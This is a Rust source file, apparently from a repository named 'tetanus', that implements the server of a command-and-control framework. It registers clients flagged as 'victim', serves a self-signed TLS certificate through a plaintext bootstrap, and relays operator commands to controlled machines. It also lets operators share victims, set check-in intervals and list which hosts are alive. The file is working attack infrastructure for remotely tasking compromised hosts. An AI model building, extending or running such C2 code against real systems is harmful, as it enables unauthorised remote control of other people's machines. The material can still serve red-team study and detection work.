Files
tetanus/src/server.rs
T

616 lines
29 KiB
Rust

use rcgen::generate_simple_self_signed;
use std::error::Error;
use std::fs;
use std::fs::File;
use std::fs::write;
use std::io::BufReader;
use std::net::SocketAddr;
use std::path::PathBuf;
use std::sync::{Arc, Mutex};
use std::thread::sleep;
use std::time::Duration;
use std::time::Instant;
use std::usize;
use tokio::fs::read_to_string;
use tokio::io::{AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt};
use tokio::net::{TcpListener, TcpStream};
use tokio_rustls::TlsAcceptor;
use tokio_rustls::rustls::ServerConfig;
use tokio_rustls::rustls::pki_types::{CertificateDer, PrivateKeyDer};
#[derive(Clone)]
enum ClientAction {
Output(String),
Cmd(String),
Collab(String),
Hostnames(String),
}
pub struct Client {
address: String,
id: usize,
hostname: Option<String>,
actions: Vec<ClientAction>,
controlling: usize,
controlled: usize,
collabing: Vec<usize>,
output_que: Vec<String>,
logged_in: bool,
timer: Duration,
last_check: Instant,
remove: bool,
name: String,
victim: bool,
}
pub struct Server {
pub address: String,
pub clients: Vec<Client>,
pub certificate_path: PathBuf,
pub key_path: PathBuf,
pub password: String,
pub name: String,
pub hostnames: Vec<String>,
}
pub async fn start_server(server: Arc<Mutex<Server>>) -> Result<(), Box<dyn Error>> {
let lock = server.lock().unwrap();
let mut name_path = lock.certificate_path.clone();
name_path.pop();
name_path.push("names.txt");
let (server_ip, _) = lock.address.split_once(':').unwrap();
let server_hostnames = lock.hostnames.clone();
let mut current_config_names = vec![
server_ip.trim().to_string(),
"127.0.0.1".to_string(),
"localhost".to_string(),
];
server_hostnames.iter().for_each(|n| {
current_config_names.push(n.clone());
});
let mut regen = true;
if let Ok(saved_names_string) = read_to_string(&name_path).await {
let mut saved_names = Vec::new();
saved_names_string.lines().for_each(|line| {
saved_names.push(line.trim().to_string());
});
if saved_names == current_config_names {
regen = false;
}
}
if let Err(_) = load_certs(&lock.certificate_path) {
regen = true;
}
if regen {
println!("regenerating TLS certificate...");
if lock.certificate_path.exists() {
fs::remove_file(&lock.certificate_path)?;
fs::remove_file(&lock.key_path)?;
sleep(Duration::from_secs(3));
}
let name_config = current_config_names.clone().join("\n");
write(name_path, name_config.as_bytes())?;
let cert = generate_simple_self_signed(current_config_names)?;
write(&lock.certificate_path, cert.cert.pem())?;
write(&lock.key_path, cert.signing_key.serialize_pem())?;
}
let certs = load_certs(&lock.certificate_path)?;
let key = load_key(&lock.key_path)?;
let tls_config = ServerConfig::builder()
.with_no_client_auth()
.with_single_cert(certs, key)?;
let acceptor = TlsAcceptor::from(Arc::new(tls_config));
let listener = TcpListener::bind(lock.address.clone()).await?;
println!("Listening on {}", lock.address);
println!("password: {}", lock.password);
println!("Hostnames:");
lock.hostnames.iter().for_each(|h| {
println!("{}", h);
});
drop(lock);
loop {
let (stream, addr) = listener.accept().await?;
let acceptor = acceptor.clone();
let server = server.clone();
tokio::spawn(async move {
let mut peek = [0u8; 8];
if let Ok(n) = stream.peek(&mut peek).await {
if n >= 8 && &peek[..8] == b"CERT_REQ" {
handle_bootstrap(server, stream).await;
return;
}
}
match acceptor.accept(stream).await {
Ok(tls_stream) => {
handle_connection_stat9ic(server, tls_stream, addr).await;
}
Err(e) => {
eprintln!("TLS handshake failed: {}", e);
}
}
});
}
}
fn load_certs(path: &std::path::Path) -> Result<Vec<CertificateDer<'static>>, Box<dyn Error>> {
let mut reader = BufReader::new(File::open(path)?);
Ok(rustls_pemfile::certs(&mut reader).collect::<Result<Vec<_>, _>>()?)
}
fn load_key(path: &std::path::Path) -> Result<PrivateKeyDer<'static>, Box<dyn Error>> {
let mut reader = BufReader::new(File::open(path)?);
let key = rustls_pemfile::private_key(&mut reader)?.ok_or("No private key found")?;
Ok(key)
}
async fn handle_bootstrap(server: Arc<Mutex<Server>>, mut stream: TcpStream) {
let mut buf = [0u8; 1024];
let n = match stream.read(&mut buf).await {
Ok(n) => n,
Err(_) => return,
};
if n == 0 {
return;
}
let msg = String::from_utf8_lossy(&buf[..n]);
if msg.trim() != "CERT_REQ" {
return;
}
let cert_path = {
let lock = server.lock().unwrap();
lock.certificate_path.clone()
};
let cert_pem = match std::fs::read_to_string(cert_path) {
Ok(c) => c,
Err(_) => return,
};
let response = format!("CERT|{}\n", cert_pem);
let _ = stream.write_all(response.as_bytes()).await;
}
async fn handle_connection_stat9ic<S>(server: Arc<Mutex<Server>>, mut stream: S, addr: SocketAddr)
where
S: AsyncRead + AsyncWrite + Unpin,
{
let mut buf = vec![0u8; 4096];
let n = match stream.read(&mut buf).await {
Ok(n) => n,
Err(e) => {
eprintln!("Read Error: {e}");
return;
}
};
if n == 0 {
return;
}
let msg = String::from_utf8_lossy(&buf[..n]);
if msg.contains("HELLO") {
let mut victim = false;
if let Some((_, ctype)) = msg.split_once("|") {
if ctype.contains("victim") {
victim = true;
}
}
let mut connected = false;
let mut id = 0;
if let Ok(mut lock) = server.lock() {
let new_client = Client {
address: addr.to_string(),
id: lock.clients.len() + 1,
hostname: None,
actions: Vec::new(),
controlled: 0,
controlling: 0,
collabing: Vec::new(),
output_que: Vec::new(),
logged_in: false,
timer: Duration::from_secs(5),
last_check: Instant::now(),
remove: false,
name: String::new(),
victim,
};
connected = true;
id = new_client.id.clone();
lock.clients.push(new_client);
}
if connected {
stream
.write_all(format!("HELLO|{}\n", id).as_bytes())
.await
.unwrap();
println!("client connected! ID:{}", id,);
}
} else {
let mut authenticated = false;
let mut checkin = String::new();
if let Some((password, data)) = msg.split_once("**") {
checkin = data.to_string();
if let Ok(mut lock) = server.lock() {
if password.trim().to_string() == lock.password {
authenticated = true;
} else {
if let Some((id, _)) = data.split_once("|||") {
if let Ok(id) = id.parse::<usize>() {
lock.clients
.iter_mut()
.filter(|c| c.id == id)
.for_each(|c| {
if c.logged_in {
c.logged_in = false;
println!("{} provided an incorrect password!", c.id);
}
});
}
}
}
}
}
if authenticated {
if let Some((source, data)) = checkin.split_once("|||") {
if let Ok(source_id) = source.trim().parse::<usize>() {
let mut responses = Vec::new();
if let Ok(mut lock) = server.lock() {
let server_name = lock.name.clone();
if let Some(source_client) =
lock.clients.iter_mut().find(|c| c.id == source_id)
{
responses = source_client.actions.clone();
source_client.last_check = Instant::now();
}
data.split("||").into_iter().for_each(|action| {
if let Some((cmd, data)) = action.split_once("|") {
match cmd.trim() {
"SET_NAME" => {
lock.clients
.iter_mut()
.filter(|c| c.id == source_id)
.for_each(|c| {
c.name = data.trim().to_string();
});
responses.push(ClientAction::Cmd(format!(
"SET_NAME|{}",
lock.name
)));
}
"OUTPUT" => {
if let Some(dest_client) = lock
.clients
.iter_mut()
.find(|c| c.controlling == source_id)
{
dest_client.actions.push(ClientAction::Output(
format!(
"from {}({}): {}",
dest_client.name,
dest_client.id,
data.trim()
),
));
} else {
if let Some(source_client) =
lock.clients.iter_mut().find(|c| c.id == source_id)
{
source_client.output_que.push(format!(
"from {} (server): {}",
server_name,
data.trim()
));
}
}
}
"CMD" => {
if let Some(dest_client) = lock
.clients
.iter_mut()
.find(|c| c.controlled == source_id)
{
dest_client
.actions
.push(ClientAction::Cmd(data.to_string()));
responses.push(ClientAction::Output(format!(
"tasked client {} to run {}",
dest_client.id, cmd
)));
}
else{
let mut colabs = Vec::new();
lock.clients.iter_mut().filter(|c| c.id == source_id).for_each(|c|{
if c.collabing.is_empty(){
c.actions.push(ClientAction::Output("Error no controlled or collabed clients associated with you!".to_string()));
}
else{
c.collabing.iter().for_each(|id|{
colabs.push(id.clone());
});
}
});
if !colabs.is_empty(){
colabs.iter().for_each(|id|{
lock.clients.iter_mut().filter(|c| &c.id == id).for_each(|c|{
c.actions.push(ClientAction::Cmd(data.to_string()));
});
});
}
}
}
"CONTROL" => {
let new_control_id = data.trim().parse::<usize>().unwrap();
if let Some(controlling_client) =
lock.clients.iter_mut().find(|c| c.id == source_id)
{
controlling_client.controlling = new_control_id.clone();
}
if let Some(contlled_client) =
lock.clients.iter_mut().find(|c| c.id == new_control_id)
{
contlled_client.controlled = source_id;
} else {
if let Some(controlling_client) =
lock.clients.iter_mut().find(|c| c.id == source_id)
{
controlling_client.controlling = 0;
}
}
}
"STOP_CONTROL" => {
if let Some(source_client) =
lock.clients.iter_mut().find(|c| c.id == source_id)
{
if source_client.controlling != 0 {
println!(
"deslelcting client: {}",
source_client.controlling
);
let dest_client_id =
source_client.controlling.clone();
if let Some(dest_client) = lock
.clients
.iter_mut()
.find(|c| c.id == dest_client_id)
{
dest_client.controlled = 0;
println!(
"client {} deselected",
dest_client.id
);
}
}
}
}
"BREAK_CONTROL" => {
if let Some(source_client) =
lock.clients.iter_mut().find(|c| c.id == source_id)
{
if source_client.controlled != 0 {
let dest_id = source_client.controlled.clone();
source_client.controlled = 0;
if let Some(dest_client) = lock
.clients
.iter_mut()
.find(|c| c.id == dest_id)
{
dest_client.controlling = 0;
}
}
}
}
"LIST_CLIENTS" => {
lock.clients.iter().for_each(|c| {
let out;
let dead = Instant::now().duration_since(c.last_check)
> c.timer;
if let Some(hostname) = c.hostname.clone() {
out = format!(
"{}: {}({}) - Alive:{}",
c.id, hostname, c.address, !dead
);
} else {
out = format!(
"{}: {} - Alive:{}",
c.id, c.address, !dead
);
}
println!("client list requested!");
println!("adding {} to response...", out);
responses.push(ClientAction::Output(out));
});
}
"TEST" => {
responses.push(ClientAction::Output(format!(
"from: {} server() TEST BACK",
server_name
)));
}
"SET_HOSTNAME" => {
lock.clients
.iter_mut()
.filter(|c| c.id == source_id)
.for_each(|c| {
c.hostname = Some(data.trim().to_string());
});
}
"LOGOUT" => {
lock.clients
.iter_mut()
.filter(|c| c.id == source_id)
.for_each(|c| {
c.logged_in = false;
responses.push(ClientAction::Output(
"Logout successful!".to_string(),
));
});
}
"DISCONNECT" => {
println!("client disconnected!");
lock.clients
.iter_mut()
.filter(|c| c.id == source_id)
.for_each(|c| {
c.remove = true;
});
}
"COLLAB" => {
let dest_id: usize = data.trim().parse().unwrap();
lock.clients
.iter_mut()
.filter(|c| c.id == source_id)
.for_each(|c| {
c.collabing.push(dest_id.clone());
});
lock.clients
.iter_mut()
.filter(|d| d.id == dest_id)
.for_each(|d| {
d.collabing.push(dest_id.clone());
});
println!("{} is collabing with {}", source_id, dest_id);
}
"SLEEP" => {
if let Ok(secs) = data.parse::<u64>() {
lock.clients
.iter_mut()
.filter(|c| c.id == source_id)
.for_each(|c| {
c.timer = Duration::from_secs(secs);
});
}
}
_ => {}
}
}
else{
if action.contains("REQ_HOSTNAMES") {
let hostnames = lock.hostnames.clone().join(",");
lock.clients.iter_mut().filter(|c| c.id == source_id).for_each(|c|{
c.actions.push(ClientAction::Hostnames(hostnames.clone()));
});
println!("hostnames sent!");
}
}
});
}
if responses.len() > 0 {
let mut messages = Vec::new();
for r in responses {
match r {
ClientAction::Cmd(cmd) => {
messages.push(format!("CMD|{}", cmd));
}
ClientAction::Output(text) => {
println!("adding {} to output", text);
messages.push(format!("OUTPUT|{}", text));
}
ClientAction::Collab(text) => {
println!("todo, {}", text);
}
ClientAction::Hostnames(hostnames) => {
messages.push(format!("HOSTNAMES|{}", hostnames));
}
}
}
let full_message = messages.join("||");
println!("attempting to send {}", full_message);
let buf = full_message.as_bytes();
stream.write(buf).await.unwrap();
println!("buffer written!");
if let Ok(mut lock) = server.lock() {
if let Some(source_client) =
lock.clients.iter_mut().find(|c| c.id == source_id)
{
source_client.actions.clear();
}
}
}
}
}
} else {
if let Some((source, data)) = checkin.split_once("|||") {
if let Ok(source_id) = source.trim().parse::<usize>() {
println!("{}", source_id);
let mut responses = Vec::new();
if let Ok(mut lock) = server.lock() {
data.split("||").into_iter().for_each(|action| {
if let Some((cmd, data)) = action.split_once("|") {
match cmd.trim() {
"LOGIN" => {
let password = lock.password.clone();
if data.trim().to_string() == password {
lock.clients
.iter_mut()
.filter(|c| c.id == source_id)
.for_each(|c| {
c.logged_in = true;
responses.push(ClientAction::Output(
"Login successful!".to_string(),
));
println!("client {} logged in!", source_id);
});
} else {
responses.push(ClientAction::Output(
"Login failed!".to_string(),
));
}
}
_ => {
responses.push(ClientAction::Output(
"Not authenticated!".to_string(),
));
}
}
}
println!("error splitting cmd and data!");
});
} else {
println!("error getting server lock!");
}
if responses.len() > 0 {
let mut messages = Vec::new();
for r in responses {
match r {
ClientAction::Cmd(cmd) => {
messages.push(format!("CMD|{}", cmd));
}
ClientAction::Output(text) => {
println!("adding {} to output", text);
messages.push(format!("OUTPUT|{}", text));
}
ClientAction::Collab(text) => {
println!("todo, {}", text);
}
ClientAction::Hostnames(_) => {
messages.push("OUTPUT|Not authenticated".to_string());
}
}
}
let full_message = messages.join("||");
println!("attempting to send {}", full_message);
let buf = full_message.as_bytes();
stream.write(buf).await.unwrap();
println!("buffer written!");
}
} else {
println!("error parsing source ID!");
}
} else {
println!("error splitting source from data!");
}
}
}
if let Ok(lock) = server.try_lock() {
println!("Client Information:");
lock.clients.iter().for_each(|c| {
println!(
"ID:{} ADDRESS:{} AUTHENTICATED:{}",
c.id, c.address, c.logged_in
);
});
}
}